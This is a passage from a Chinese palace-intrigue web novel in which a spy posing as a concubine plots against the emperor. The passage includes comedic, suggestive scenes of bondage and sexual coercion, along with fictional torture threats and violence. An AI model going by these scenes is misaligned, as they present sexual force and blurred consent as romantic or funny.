“暗阁这回是怎么了？跟疯狗似的，逮谁咬谁！”盛都一不起眼的宅子内，楚翊尘在看着面前的江蝶舞道。 此时的江蝶舞面色有些苍白，她虚弱地道：“幸好摇光台没出事，否则……” 说到这里，江蝶舞吁了一口气，停顿了一阵。 “千里及出事了。 我看，还是出了大事！！ 青绿被抓了，我听她那语气，她是在跟人接头的时候被抓的。她的上线、下线，上线的上线，下线的下线，说不得都…… 另外，我被放出来的时候看到了曾玦。” 楚翊尘：“什么？曾玦也被暗阁抓到了？！” 曾玦可是千里及在盛都的总负责人！ 他知道千里及潜藏在盛都的几乎所有人！！！ 他怎么能被抓呢？ 他为什么不在暗阁动手前自尽？ 完了！ 完了！！ 完了！！！ 曾玦见过关二丫！！！ “这便是我今日找你要说的事。”暗阁那群疯狗太阴损了，做事只凭怀疑，从不讲证据，因着青绿，她可是硬扛了好几道大刑！ 好在那个人来得及时，好在她扛住了。 信念也足够坚定。 否则，她现在怕是连自己的身体被分成了多少块都不知道了！ 江蝶舞身子有些撑不住了，忙问道：“关二丫此次来盛都，肯定已经见过曾玦了吧？” 楚翊尘拳头捏得咯吱作响：“是的。” 江蝶舞：“那他知晓那个计划吧？” 关二丫问了曾玦那么多有关元擎苍的事，他肯定猜到计划了！！ 楚翊尘：“我知道了，你先回去吧。这段时间在家里好好养伤，千万别行动了！” 她已经被盯上了，若是再有所行动，摇光台的其余成员肯定会被连累！ 他今日跟她见面了，说不得也上了暗阁的猎杀名单了。 不过，无所谓！ 因为，他今夜就要潜入暗阁地牢，杀了曾玦！！！ 为了协助关二丫顺利完成任务，为了不暴露关二丫，曾玦必须死！！ ========= 看着躺在身侧熟睡的元擎苍，关失越悄悄起身，稍稍洗漱了一下，快速地换上了一件深色宫装。 外面万籁俱寂。 关失越悄悄观察了四周，没发现有什么异常，便敏捷地出门，深色的身影很快消失在夜色里。 这一次，她的目标是议事殿。 她其实是想要再探清心殿的，可惜元擎苍在玉兰宫，她半夜跑去清心殿，一旦被抓住，不好找借口。 若是换成了议事殿，借口就好找了。 比如，她好奇龙椅是什么样子的，就想去看一看。 她的身影快速在夜空中穿行，快速地来到了议事殿。 借着月光，她来到了据说是密道入口的龙椅边上。 她蹲在地上，这里摸摸，那里看看，企图找到机关开关。 然而摸索了半天也毫无头绪。 瞧着时间差不多了，她只能放弃，离开了清心殿，回到了玉兰宫。 还好，元擎苍还没醒。 关失越脱下了宫装，躺回床上，盖上被子，闭上了眼睛。 她不知道的是，在她睡过去的时候，一只“熟睡”的元擎苍蓦地睁开了眼睛。 他没有说话，眼神锐利冰冷。 ========= 掌灯时分，关失越跟往常一般坐在窗口闭目养神。 突然，外面传来了一阵熟悉的猫叫声。 那分明是暗号声。 关失越站起来。 这时，窗口有道黑影闪身而入。 那身法，那身形，那露出来的眼睛，很是熟悉。 是楚翊尘！ 关失越忙查看四周，好在此时是宫人们用晚膳的时辰，没什么人。 她忙去关了门。 “你怎么进来的？到底是怎么回事？我不是跟你说了，这段时间不能轻举妄动吗？”关失越一连串地道。 楚翊尘：“我们暴露了。元擎苍知道了一切！” 关失越惊了一瞬，随即道：“你现在进来是打算……” “元擎苍今晚会过来吧？” “不一定。你是想……” “对。你想办法让他过来，我躲在柜子里面，到时他一来，我便……” 关失越：“……不行！密道入口还没找到，到时我们即便得手了，也跑不掉！！！” 楚翊尘：“现在已经没有别的办法了。元擎苍八成已然知晓了咱们的计划了！！！昨日，他们抓了曾玦！！” “曾玦招了？” “不知。我去了暗阁地牢，没有找到人。” 没找到人，只有两个原因。 第一，死了。 第二，可能还没死，但属于敌人最看重的罪犯，九成九会招供。说不得已经招供了。 关失越深吸了一口气：“既然如此，那就更不能行动了！ 曾玦被抓，元擎苍知道了一切，那么现在，你能进宫来肯定是他故意放的水，目的就是引蛇出洞。 这肯定是个圈套！ 到时不但杀不了他，相反，咱们会被一网打尽，全部玩完！！！ 你赶紧走！” “可是任务……” “没了命，你拿什么完成任务？”关失越道。 楚翊尘：“……” 关失越：“这一次我才是总指挥。任务完不成，自有我一力承担！现在，立马走！” 楚翊尘：“……” 关失越：“快走！出去藏好，等我消息。” ========= 清心殿。 元擎苍听完了暗七的汇报，眉心紧蹙：“你觉的春婕妤是在找什么？” 暗七：“属下不清楚。许是在找能藏身的密室吧？” 元擎苍：“依你看，她能找到吗？” 暗七道：“自然是找不到的。” 因为，轩辕皇宫的密道入口非常隐蔽，根本就不在清心殿和议事殿！ 皇宫这么大，她不可能将每个地方都找遍。 主子就是厉害，故意撒播假消息，那些别有用心的人稍不留神就会上当。 只是，如今这个春婕妤一看就很得主子的宠爱，她做了这样的事，也不知道主子会如何处置她。 “继续盯着她。每日这个时候过来给我汇报。”元擎苍道。 暗七：“是。” 便悄无声息地退下了。 暗七回到玉兰宫，发现任务目标不见了。 他不由屏息凝神，通过视觉、嗅觉、听觉来寻找目标人物。 然而，竟没有发现任何线索。 第146章 机会肯定会有的，不急 顿时，他有些急了，不由从藏身处跑了出来，直接趴到窗子上 去看。 就看到寝殿里的被子叠得整整齐齐，四周空无一人。 怎么会这样？ 他不过才出去一会儿啊！ 以往也不是没有这样的情况啊。 暗七再次挪动了下身子，然后，他感觉到一阵眩晕，整个人不知怎地，倒了下去。 这时，门突然打开，一双手伸了出来，恰好扶住了即将软到下去的暗七的身体。 全程没有发出一点声音。 也没有被第四个人看到。 楚翊尘接住暗七后，扛着暗七往床榻而去。 关失越则与楚翊尘分头行动。 她的路线与楚翊尘相反。 她身子如同灵活的猎豹，几个跳跃间，已然出了玉兰宫。 她早就感觉到被暗卫盯上了。 但对方实力明显高于她，她不敢与其硬碰硬，更不敢让对方发现她已经发现了对方，所以，这几日，她仍按着以前行动轨迹、行事风格做事。 楚翊尘突然进宫是个转机。 于是，趁着这个机会，她将暗卫引出来，如此，她便可以安心地进行下一步了。 关失越很快就来到了一座废弃的宫殿里。 等了片刻，才见到来人。 两人对了暗号，发现准确无误，这才走进了些。 “密道入口找到没？”关失越道。 那宫女：“抱歉，这是轩辕皇宫的绝密，属下没能找出来！” 关失越：“如若说我要你不惜一切找到密道呢？” 宫女思索了片刻，仍然摇头：“便是杀了我，我也找不到！” 关失越没有揪着这个问题不放，转而问道：“我上回让你找的迷药呢？找到没？” ========== 关失越一刻钟之后回到了玉兰宫。 楚翊尘装扮成她的模样躺在床榻上，见她回来，楚翊尘立马脱衣服，换上了自己的。 “如何？”他道。 关失越：“那人不可靠。不是投靠了元擎苍就是故意不出力。我觉得前者的可能性更大。” 楚翊尘：“就只联系到她一个吗？其余人呢？” 关失越：“就她一个。所以我才怀疑她投靠了轩辕。” 楚翊尘：“不行了我现在就去杀了他，弄出大动静来，到时躲在暗处的暗卫们都被我吸引了去，你便可以趁乱逃出去了。” 关失越：“那你呢？” 楚翊尘：“我保证能杀了他，并尽力拖延时间。” 关失越：“你近不了他的身。刺杀还是得我来。只可惜，刺杀容易，逃脱难。” 要是有冲锋枪就好了。 可惜，没有！ 说话间，楚翊尘已换上了夜行衣，他拿出了两颗药丸、一把匕首，放到了被子上：“东西藏好！” 关失越将药丸藏到了金簪上面的绒花里，匕首则是放进了一只靴子里。 看着她有条不紊地做事，楚翊尘道：“做完这个任务，咱们退出千里及，就待在京都，再不来盛都来。” 关失越苦笑道：“还是等做完这个任务再说吧！” 任务一做完，人也完了，哪里还有以后？ 两人对视了好一会儿，关失越道：“机会肯定会有的。 不急。 一旦时机成熟，我定会提前给你通知。 曾玦虽然被抓了，他能供出的也仅仅是黄支的同僚，玄支的那些杀手还在。 咱们这回的任务主要靠的是玄支。 所以，没事的。 我会想办法让元擎苍出皇宫，期限是两个月内。 如若两个月内我做不到，到时你再出手也不迟。” 说到这里，关失越从梳妆台上拿起一个木匣子，打开，从里面取出十几张银票递给楚翊尘：“这是这两个月的安置费。你们找个好点的地方躲一躲。千万别被暗阁的人找到了。” 楚翊尘没有接，道：“我们有钱。” 关失越：“那是以前。如今暗阁的人四处抓人，你们不得东躲西藏？拿着吧。躲好。到时行动展开，你们有大用！” “好。”楚翊尘接了过去，装在了怀里，想了想，又道，“元擎苍这人十分谨慎，猜疑心极重，你……千万小心。” “嗯。”关失越道，“我会的。” 再待下去对两人都危险，楚翊尘没有多逗留，提起晕过去的暗七大步离去。 ========= 暗七醒过来的时候发现自己是树上，他有些迷茫地甩了甩脑袋，不明白自己怎么稀里糊涂睡着了。 他看着熟悉的四周，懊恼了片刻，从树上跃下。 春婕妤。 他的任务是看着春婕妤。 嘶…… 春婕妤好似不见了！ 这时，殿内传来一个宫女的声音：“春婕妤，这水温可以吗？” 下一刻，春婕妤那熟悉的声音响起：“可以。” 暗七放心了，再次将自己藏在了树上。 ========= 楚翊尘进宫的时候很容易，出宫的时候非常不容易。 一拨又一拨禁卫军巡逻，一个个暗卫出动，那架势，是要活捉了他。 这一刻，他才第一次感受到了轩辕皇宫的可怕。 他杀得天昏地暗，杀得精疲力竭，全身上下都溅上了血点子，几乎成了个血人。 好在，他最终靠着天下第一的轻功，险险逃了出去。 宫墙外有人接应。 楚翊尘正好跳上马背，一队人马在黑夜里风驰电掣离去。 ========= 吴美人的事情，终究还是在皇宫里掀起了风波。 风波的起因是，在某日妃嫔们到未央宫给皇后请安的时候，元擎苍道：“吴美人病得厉害，为了不将病气过给三皇子，皇后便去将三皇子接来，养在未央宫，和四公主一起照看吧。” “是，陛下。臣妾这就让人去将三皇子接过来。” 皇后自然是大喜。 她是继后，膝下就一个四公主，难免可怜了些。 如今有了三皇子，那她中宫皇后的位置便稳了。 丽贵妃面色很是难看，从未央宫出去，丽贵妃便对心腹宫女道：“去打探下，吴美人到底出了什么事。” 丽贵妃的心腹宫女自然是领命而去。 结果，她上午才找了几个人打探消息，下午便被暗阁的人抓走了，进了暗阁地牢。 第147章 地痞流氓+土匪恶霸 暗阁地牢哪里是人待的地方？ 那宫女在里面不过待了两个时辰，出来后便神色恍惚、浑身发抖、说话颠三倒四了。 丽贵妃问她发生了什么事，她吓得浑身发抖，双腿一软跪在地上表示，自己再不打探吴美人的事了。 丽贵妃不愿白忙活一场啥好处没捞着一点消息没打探到，于是又派了个心腹宫女去打探，结果，这个宫女跟之前的宫女情况一样。 这下，丽贵妃给气着了。 丽贵妃不服，正打算自己亲自去看看的时候，轩辕帝身边的心腹大太监来了。 大太监对丽贵妃说了几句话，之后，丽贵妃便收敛了下来，再不敢派人打探吴美人的事了。 且，对吴美人这三个字，她再不提起。 便是有妃嫔聊到吴美人，丽贵妃要么不接茬，要么直接将话题揭过。 如此几次之后，众妃嫔也看出些门道来了，便都不提吴美人了。 就好似吴美人从未出现过一般。 ========= 夜深沉。 清心殿。 元擎苍已然熟睡。 关失越轻手轻脚地从床榻上下来，在殿内这里摸摸，那里敲敲。 也许是她动静大了，也许这本身就是个陷阱，总之，在她“努力工作”的时候，原本熟睡的元擎苍醒了。 两人目光交汇，关失越不动声色地将手里的东西放下：“你醒了？” 元擎苍：“爱妃是在找什么？要不要朕帮你？” 关失越：“没找什么。” 元擎苍朝关失越勾了勾手指。 关失越装模作样走过去。 突然，元擎苍手按到了床头某一个不起眼的地方，顿时，墙壁从中间裂开，一道隐形门出现。 “你是在找这个吧？喏，现在找到了，不进去看看吗？” 关失越脸色变幻不定，最终，她惊喜地睁大了眼睛：“啊，原来他们说的都是真的！皇宫里真的有密室！！” 元擎苍嘴角讽刺地勾起，一把抓住关失越，将她往里面推。 关失越反手抓住了他的袖子，死死地攥着：“密室里肯定有金银珠宝，咱们发财了！嘿嘿嘿，陛下，到时能不能分一点点给臣妾？” 两个人拉扯间，先后进了密室。 首先映入眼帘的是一排往下的石阶，石阶能容纳两个人并行。 沿着石阶往下走了约摸二十级，便到了。 这相当于一个地下室。 只不过，此地下室跟别的地下室不同，它很大，约摸有两个篮球场那么大，地下室的一面墙上，放了一颗夜明珠照明。 地下室里有石床，有几张凳子，还有一张桌案，桌案上有笔墨纸砚，墙壁上挂着一把剑、几副镣铐、一条鞭子，还有一些关失越没见过的奇怪东西。 她觉着，那约摸是刑具。 完了。 她在心里想。 她肯定是被发现了。 之前这男人可是专门派了个暗卫监视她呢！ 她的一举一动，肯定被这男人掌握得清清楚楚了。 这人心狠手辣，连为他生育过孩子的女人都不放过，更何况她了！ 想到这里，关失越看着元擎苍：“陛下带臣妾来这里，是想做什么？” 元擎苍：“不是你想要来这里的吗？” 关失越：“这里没有金银珠宝，没意思。” 元擎苍：“是吗？我看你想要的不是金银珠宝，而是在找通往宫外的密道吧？爱妃，朕很好奇，你到底是谁派来的细作。” “细作？”关失越不疾不徐地道，“什么细作？臣妾不知道陛下在说什么。” 元擎苍没有想到眼前的这个女人都被抓了现行了竟还不认账，气笑了。 对这种厚颜无耻之人，他也不想再虚与委蛇了，直接出手！ 关失越身子灵巧地躲开。 元擎苍：“你果然是细作！！！” 说着，就要对自己的暗卫下令。 然而，关失越哪能让他如愿？ 她忽地上前，一把捂住了元擎苍的嘴。 元擎苍瞪大了眼睛，用杀人一般的眼神怒视着她：你好大的胆子！你怎么敢？信不信我砍了你？！！ 关失越趁着他愤怒之际，脚尖猛地狠踹了一下他的膝盖窝。 元擎苍吃痛，腿一软，跪了下去。 关失越趁机将他压倒，她膝盖顶住他的嘴巴，不让他发出一点声音，同时，手肘狠狠地砍向他的颈侧。 她出手迅速，动作一气呵成，力度巧妙刁钻，元擎苍一个不察，便被她得了手。 劈晕了元擎苍，关失越不敢停留，将他拖到床上，又拿来镣铐，将他的四肢分别用镣铐铐在床的四角，再扒了他的 衣服，捆住了他的脖子。 又另外扒了一件他的衣服，团巴团巴，塞进了元擎苍的嘴巴里。 做完这一切，她快速回到石阶旁，却发现，通往外面的门已经合上了。 她寻找了一阵，并没有找到从里面打开密道门的开关，便放弃了。 好在地下室有水。 也不知是放了多久的水了，有没有毒，关失越端起水，唰地一下泼到了元擎苍脸上。 被冷水一泼，元擎苍醒了。 醒来后发现自己的遭遇，元擎苍震惊了：大胆！你怎么敢？！！ 关失越她坐在床沿上，一只脚搭在床上，一只脚踩在地上，一副地痞流氓+土匪恶霸的模样，手指猥琐地在元擎苍的脸蛋、脖子、胸膛等处来回摸着，道： “小郎君，你生得这般俊俏，身形这般结实魁梧，小娘子我是很喜欢的。 我舍不得动你。 可是，你也应该懂点事，知道不？ 你把金银珠宝藏在哪里了？ 只要你乖乖地说出来，并保证不叫人来收拾我，把我平安地送出去，我保证，我绝对不会动你一根汗毛的。 你告诉我吧。” 元擎苍怒目圆瞪：大胆！！放肆！！！信不信我将你剥皮抽筋？！！ 关失越：这狗、日、的不好骗！ 可是，机会只有这一次。 她若是不继续，必定会生不如死！ 反正都是死，死前至少要狠狠挣扎一回，万一有用呢？ 再说了，她就不信白月光光环不能保她一命！！！ 想到这里，关失越手指继续在元擎苍身上恶意游走，所到之处，点燃一簇簇火苗。 元擎苍情绪很大，四肢乱动，镣铐因为他的动作，发出了沉重的声响。 第148章 休假十天 “呀，小郎君别这般急不可耐嘛！”关失越故意歪曲事实，如地痞流氓一般，轻佻地吹了个响亮的口哨，“你乖些哈，你乖，小娘子我才帮你。你若是不乖嘛……嘿嘿嘿嘿……” 关失越突然出手，扒下了元擎苍身上最后一件衣服。 这是元擎苍从未遭受过的奇耻大辱，他瞪大了眼睛，脸颊不知是气的还是羞的，通红一片。 偏偏这个时候，女流氓还将墙壁上的夜明珠取了下来，放到了跟前，近距离地观察他。 元擎苍耳朵红了，脖子红了，全身上下如同煮熟的虾子，都红了！！！ 四根铁镣铐哗啦作响。 关失越双手仍然一只脚上一只脚下地坐在床沿，目光一寸寸打量着元擎苍的肌肤，被她的目光接触到的地方，很快就起了一层鸡皮疙瘩。 关失越笑了笑，以手托腮看着他：“虽然你生得不错，身材也好，本钱很足，但我还是不太满意的。 你的女人太多了，我觉得脏。 我还是比较喜欢外面那些干净的年轻的小郎君。 跟你虚与委蛇这么久了，结果还是没有找到你的宝藏，啧，实在是亏！ 你说说你，你贵为一国帝王，整个轩辕都是你的，我不过是想拿你一点点钱财，怎么就这么难呢？ 青楼里的女人陪个恩客睡几觉好歹也有钱拿，我陪你睡了这么久，竟然就只得了个两千两！ 你不给钱，那我就只能自己找呗！ 你怎么连这点小小的愿望都不满足我？ 你怎么这么抠？ 早知你是这样的人，我就不进宫了！ 不过，你睡了我那么多次，我也不能让你白睡不是？ 那样岂不是显得我亏大了？ 哎…… 这样吧，既然你没有钱，那就只能以身抵债了。” 说着，关失越蹬掉了脚上的鞋子，身子灵活地跳上了床，对被捆绑住的元擎苍上下其手…… ======== 圣上已经连续三日没上朝了。 这在轩辕，几乎是从未有过的事。 朝臣们痛心不已，纷纷上疏劝诫帝王要勤勉。 这一举动很得群臣的心，但，自然是没有收到回应的。 见帝王那边没用，朝臣们便将主意打到了后宫。 皇后的父亲，丽贵妃的父亲，淑妃的父兄们纷纷进宫打探情况，并劝诫自己的女儿（或妹妹）劝勉帝王。 皇后也是很无语。 因为，她并不知晓圣上去了哪里！ 整个皇宫他们都找遍了，该问的人都问了，还是没有找到元擎苍的身影！ 依着元擎苍贴身大太监的意思，元擎苍和春婕妤是半夜突然失踪的，两人当时并未出清心殿。 清心殿是元擎苍的住处，皇后不敢擅作主张。她知晓元擎苍有暗卫，暗卫肯定知晓事情，但帝王的暗卫不是她这个皇后能驱使的，因此，她虽忧心，却也无可奈何。 这三天来，元擎苍的暗卫们在做什么呢？ 事实上，在出事的半个时辰内，暗卫们便注意到了。 暗卫甚至知晓密室以及密室的开关按钮在哪里。 他们担心出事，打开了密室开关，打算下去看看。 然而，他们的脚才迈下两个台阶，便被元擎苍吼了出来。 他们不敢再走了，只得退回去，将密道门合上了。 几人面面相觑。 呃，他们还是第一次见着自家主子这般…… 独特。 貌似和那春婕妤玩得很花啊！ 镣铐，鞭子，蜡烛，匕首都用上了，啧啧啧…… 且，听那声音，瞧那氛围，那一瞬间的一瞥，主子貌似是下面的那个。 天爷啊！ 幸好他们只迈下去两步，退得也够快，主子应当没发现他们看到了啥吧？ 他们的小命应当能保住的……吧？ 这三天里，他们几个暗卫轮流给主子送水、送吃食，他们严格遵从主子的命令，不敢踏下半步，站在外面将东西放到第一层石阶上就关门了，不该看的他们半眼没看，不敢听的他们一个字都没听，看在他们如此尽心尽力的份上，主子应当不会将他们灭口的吧？ 毕竟，他们对主子可是忠心不二的。 除了他们几个，这世上再找不到对主子如此忠心的人了！ 就在暗卫们忐忑不已，群臣们焦躁不安，皇后再也扛不住压力的时候，元擎苍终于出现了。 元擎苍穿了一身明黄色的朝服，看起来精神焕发神采奕奕，不过，若细看的话，会发现他的左下边的脸颊处、脖颈处的皮肤比别的地方的皮肤要稍暗一些。 且形状诡异，像草莓，又像唇印。 暗卫们假装没看见，虽各自在心里脑补了一万字的非法细节，嘴却是很严，从不和同僚私下议论。 他们放心地退回树上，继续工作。 暗七没见着关失越，以为自己的这个临时工作要结束了，结果------ “这段时间辛苦了。给你十天假期，好好休息。十天后再回来。”元擎苍道。 暗七：“……是。” ========= 密室的门再次被打开。 元擎苍手里提着食盒，沿着石阶走了下去。 地下室里轻悄悄的。 元擎苍看着睡得如同一只狐狸的关失越，嘴角微扬。 将食盒放在桌案上，元擎苍走到床边，抓着露在被子外面那只雪白莹润的肉嘟嘟的脚，手指用力捏了好几下。 因着他的动作，小娘子炸毛了，一脚朝他狠狠地蹬了过来，嘴里更是不干不净地骂骂咧咧，顺便亲切友好地慰问了一遍元氏的十八辈祖宗。 元擎苍嘴角扬起的弧度更大了，他忍着被踢的痛楚（快感，越痛他越有感觉），双臂用力，将关失越从被子下面拖出来。 眼前这女人身段实在是太美太好了！ 即便他贵为帝王，也从未见过如此身段婀娜的女子。 如雪一样白的肌肤，如羊脂玉一般的触感，胖乎乎的手感，每看一遍都会让他热血沸腾。 “吃点东西。”将一丝不挂的小娘子箍在怀里，元擎苍一只手掐着关失越小巧的下巴，说道。 关失越冷哼一声：“不吃！” 元擎苍手指固定住她的脸，强迫她与自己鼻尖贴着鼻尖：“为什么不吃？” 关失越冷笑道：“反正都是要死的，还不如饿死！饿死了就不必去那暗阁地牢了。” 第149章 出宫（1） 元擎苍突然张嘴，一口咬住了关失越的唇瓣，将她咬得亲切友好地问候了他爹娘以及他十八辈祖宗，这才满意地收起了獠牙。 “真不想去暗阁地牢？”他道。 关失越：“但凡是个人，都不想去！你若想去，你大可以去试试！” 元擎苍道：“不想去，那就要乖乖听话，好生求我，取悦我，明白吗？” 关失越：“我不就是想找点钱吗？怎么就要去暗阁地牢了？说到底，还不是你害的？你这么抠门，当心没有女人愿意陪你睡觉！” “没关系。”元擎苍道，“我这人就是喜欢霸王硬上弓。” 关失越翻了一个白眼。 元擎苍见状，眸中闪过一丝兴奋，他蓦地将关失越压在了身下。 “你他、娘、的别给脸不要脸！”关失越大怒，愤而起身，一把将身上的男人掀翻在床，然后，她骑在男人身上，一只手扯到了床边的铁镣，拉了过来，将元擎苍一只脚给锁在了床脚。 然后，以迅雷不及掩耳之势，如法炮制，将元擎苍另一只脚也锁到了床的另一边。 元擎苍两只脚乱蹬，怒道：“大胆！放肆！！你……你信不信我……” 关失越一巴掌扇在大腿上：“闭嘴！再放肆的事我也做了，也不少这一桩。你喊啊！大声喊！！用力喊！！你就是喊破了喉咙也没人来救你！听明白了吗？听明白了就给我乖一些，免得受些皮肉之苦。” 关失越一边说话，一边将男人的两只手也铐到了床头。 “你……你……”元擎苍动了动四肢，铁镣发出哗啦啦的响声，这声音听在他耳朵里，不啻仙乐。 他“你”了半天，在对上关失越那侵略性十足的目光时，他的脸颊、脖子开始涨红了。 关失越从边上捞起一条薄毯，将自己裹了起来，然后，她将元擎苍的腰带抽走，系在了自己腰间。 别说，毯子被这腰带一扎，便真如穿了一件连衣裙一般了。 “还挺合适的。” 关失越笑了笑，随即在床沿坐下，将失去了腰带，而往两旁散落的元擎苍的衣服往两侧扒得更开了些，伸手在男人腰上摸了几把。 元擎苍抖了抖，铁镣发出清脆的响声。 “我问你，到底要不要送我去暗阁地牢？”关失越的手在元擎苍身上游走，时而摸一下，时而狠掐一把，时而反复摩挲，时而一滑而过，“问你话！好好回答！！” 元擎苍被如此对待，神色时而怨恨时而享受，时而霸气时而欢喜，他紧咬着牙关：“妖女，别想让我屈服！你最好是弄死我，不然，我定要‘狠狠’地弄死你！！” “还没学乖？”关失越挑了挑眉，拿起了边上的鞭子，朝着元擎苍的大腿抽去，“看来你是又想尝尝小皮鞭的厉害了。既然如此，那我便成全你。” ========= 十天里，两人上演了女土匪与她的病弱压寨夫君、霸道总裁强制爱、狠辣大将军爱上娇美女战俘、富家少爷和他的纯情小通房、绝美女妖和赴京赶考的小书生的风流韵事、小娇娇的如意狼君、强势摄政王强娶娇娇小侄女等一系列重口味、限制级、颜色指数十颗星的小电影。 小电影其内容之劲爆，口味之重，角度之刁钻，简直让人欲罢不能。 小电影结束之后，关失越终于出了地下室，得以重见天日。 消失这么多日，玉兰宫的宫人以为她再回不来了，便走的走，散的散了。 关失越并未理会，让仅留的宫人给弄了热水来，自己洗了个澡，便上床睡觉了。 这一睡就是一整日。 她是被打板子的声音吵醒的。 她揉了揉惺忪的眼睛，便看见元擎苍坐在她屋子里，面色十分难看。 地上跪了一地战战兢兢的宫人。 见她醒来，元擎苍立马走了过去，在床沿坐下：“听闻你一整日都没用膳？” 关失越打了个呵欠：“太困了，就睡了一日。臣妾不饿的。” “这些宫人简直是胆大至极！不好生伺候，主子都没吃他们倒是吃得欢！”元擎苍道，“所以朕就做主，严惩了他们。你放心，朕已然给你换上了做事可靠的宫人了，以后决不会再有这样的事发生了。” 关失越笑了笑，突然，倏地出手，双手捧住了元擎苍的脸，媚眼如丝：“谢陛下。陛下待臣妾真好！” 元擎苍搂住了关失越纤细的腰肢：“你知晓就好。” 关失越继续笑，嘴唇凑到了元擎苍耳侧，轻声道：“若是陛下能给我钱，那就更好了。” 元擎苍：“贪财的小东西！” 关失越：“没办法，穷怕了。我问你，你到底是给还是不给？” ========= 关失越在消失十几日后，再次得宠。 她的位份从婕妤连升几级，成了德妃。 这升迁得实在是匪夷所思、振聋发聩，整个后宫之中，就没有不嫉妒的。 最忌妒怨恨的，莫过于丽贵妃。 丽贵妃实在是气不过，于是，找上了关失越。 说来也巧，两人在御花园遇上了。 仇人相见，分为眼红。 丽贵妃也是被愤怒冲昏了头脑，见着如同娇花一般娇艳的关失越，丽贵妃二话不说，上去就是一巴掌。 “我是贵妃，你不过是个才得宠两日的贱婢，你见到本宫竟不下跪。这般没规矩，本宫不介意教你。” 关失越似是被打懵了一般，她用手捂着被打得红肿的脸颊，眼泪汪汪挂在睫毛上，要掉不掉的，看起来楚楚可怜极了。 “贵妃娘娘误会了，臣妾……” “还不跪下？！！”丽贵妃看到关失越这模样，越发生气，她按着关失越的肩膀，同时脚去踹关失越的膝盖，逼她下跪。 丽贵妃身边的宫女也上前帮忙。 在几个人的合力下，关失越膝盖重重地跪在了鹅卵石上，她疼得惨叫了一声，眼泪滚了下来，身子不住颤抖。 然而这还没完，丽贵妃的宫女一人按住关失越的肩膀，一人按着她的头往地上磕：“快说，贱妾知错了，贱妾向贵妃娘娘磕头认罪！” 第150章 出宫（2） 关失越如同被恶霸欺凌的病弱少女，她拼命反抗，她咬紧牙关，她宁死不从。 然而，她病弱的身躯如何能抵挡？ 于是，在对方的强权下，她不得不被按着头在地上磕。 很快，她的额头便红肿了。 看着抢走了帝王宠爱的小贱人落到这样的下场，丽贵妃心里畅快极了，她扬着下巴，得意地道： “我乃轩辕贵妃，我父兄、姐夫、亲戚皆是轩辕重臣，我还为陛下生下了二皇子和三公主。 而你算个什么东西？ 也配抢我的宠爱？ 你信不信我今日便是打杀了你，我也不会有事？” 丽贵妃想着，撂下这话便扬长而去。 然而，关失越突然抬起了头，用那双男人见了必定会心生怜悯的楚楚可怜的大眼睛望着丽贵妃，单薄的身子倔强地道：“是吗？ 可是陛下说了，他这辈子只爱妾一人！ 其余妃嫔，不过是他为了稳固朝臣的工具罢了。” 这话着实是扎心。 丽贵妃哪里听得了这个？ 她那好不容易才平息下去的怒火再次被点燃，且，燃得比以往任何时候都厉害。 丽贵妃转身，一脚朝关失越那张楚楚可怜的脸上踹去。 关失越眸子一冷，随即一个灵巧地避开。 丽贵妃没踹到脸很生气，脚下力道越发重了些，直接踹到了关失越肩膀上。 关失越倒地不起。 丽贵妃上前继续踹，连踹了好几脚犹不解恨，吩咐边上宫女道：“把她给我按在这里，狠狠地掌嘴！将她的嘴打烂！！” 宫女们得令，一个去按关失越，一个去掌嘴。 关失越似乎是害怕到了极致，便无畏了。 她爆发出了超水平的武力值，用力推开两个宫女，在丽贵妃脸上啪啪啪打了六下。 丽贵妃被打得血压飙升，大怒：“你们都是死人吗？还不给我抓住她，杀了她！！！” 然后，御花园的小摩擦演变成了打群架。 关失越虽然也带了宫女，但她这边人少，只有两个。 丽贵妃随时随地出行都是大排场，她带了十来个宫人！ 关失越带的两个宫女在关失越被逼下跪的时候就已经被丽贵妃的人牢牢控制住了，因此，关失越这一方能战斗的就只有她一人。 她原本还以为轩辕帝派来的暗卫会出手的，结果不知是担心暴露还是别的什么原因，人家并没有出手！ 这实在是再好不过了。 正中她的下怀。 这么好的机会，天时地利人和都占了，她不利用就是傻子！ 于是，关失越将自己扮演成一个因为愤怒有了无限力量的莽夫（不会武功的那种），靠着一股子蛮力，将来抓她的宫人们撞飞。 然后，她没命地奔跑。 丽贵妃哪里能让她跑了？自然是命人在后面追。 关失越生怕事情闹得不够大，她在皇宫里乱跑，几乎跑遍了皇宫的每个角落。 她将自己与后面的宫人的距离稳定地保持在三丈之内，让宫人觉得，立马就能追上她。 一旦距离稍稍拉长了些，关失越便假装累积，在原地喘两口气歇息。宫人们见状，又追了上来。 就这样，关失越跑到了未央宫求救。 关失越晋升速度太快，让皇后感到了紧张和压力，她有心想要打压关失越一番。 见此情形，皇后并没有搭理关失越的求救，而是拉偏架。 “丽贵妃平日里是知礼的人，断不会做出无故打杀妃嫔之事。”皇后凉凉道，“会不会是你冲撞了贵妃，所以才导致贵妃误会的？” 正好赶到的丽贵妃忙附和道：“皇后娘娘所言极是！ 德妃在御花园对本宫出言挑衅不说，还对本宫大打出手！ 皇后娘娘请看，臣妾的脸就是被德妃打的。 德妃以下犯上，本宫不过要是依着宫规教训她一下，结果她不但不听，还跟宫人们动手！ 她这样的行为，哪里是妃嫔所能做下的？ 呵！ 果真贱婢就是贱婢，一辈子也改变不了骨子里的卑贱！ 娘娘，这贱婢殴打了臣妾，还请皇后娘娘为臣妾做主。” 丽贵妃的宫女也纷纷附和，在边上描述关失越是如何以下犯上的。 见所有人都在指责关失越，皇后做出为难的神色看了一眼关失越，随即，叹了一口气：“哎，德妃，不是本宫不帮你，而是你今日所做之事，实在是……” “臣妾没有！”关失越大声辩驳，“皇后娘娘，事情并不是这样的！是丽贵妃她先……” “贱婢！到了皇后跟前了，还敢狡辩！”丽贵妃大声斥责，丝毫不给关失越开口说话的机会，“难道本宫的脸不是你打的？你这般以下犯上，皇后娘娘便是打杀了你，你也该受着！” 皇后道：“德妃，今日这事，确实是你不对……” “不！臣妾不服！！！”关失越如同被点燃的炮仗，梗着脖子，视死如归，“分明是丽贵妃见臣妾受宠，忌妒臣妾，这才故意要为难臣妾、欺辱臣妾、打压臣妾的……” “呵呵，本宫是贵妃，且膝下还有一个皇子一个公主，本宫会忌妒你一个丫鬟出身，没权没势的贱婢？”丽贵妃气场全开，气势十足，“少在这里颠倒黑白！皇后娘娘，今日之事，你到底处不处理？不处理，臣妾便要来处理了！” 皇后巴不得将事情丢给丽贵妃，闻言道：“哎，大家都是姐妹，何必呢？事情既然已然发生了，大家都受了伤，不如坐下来好好说道。冤家宜解不宜结。” 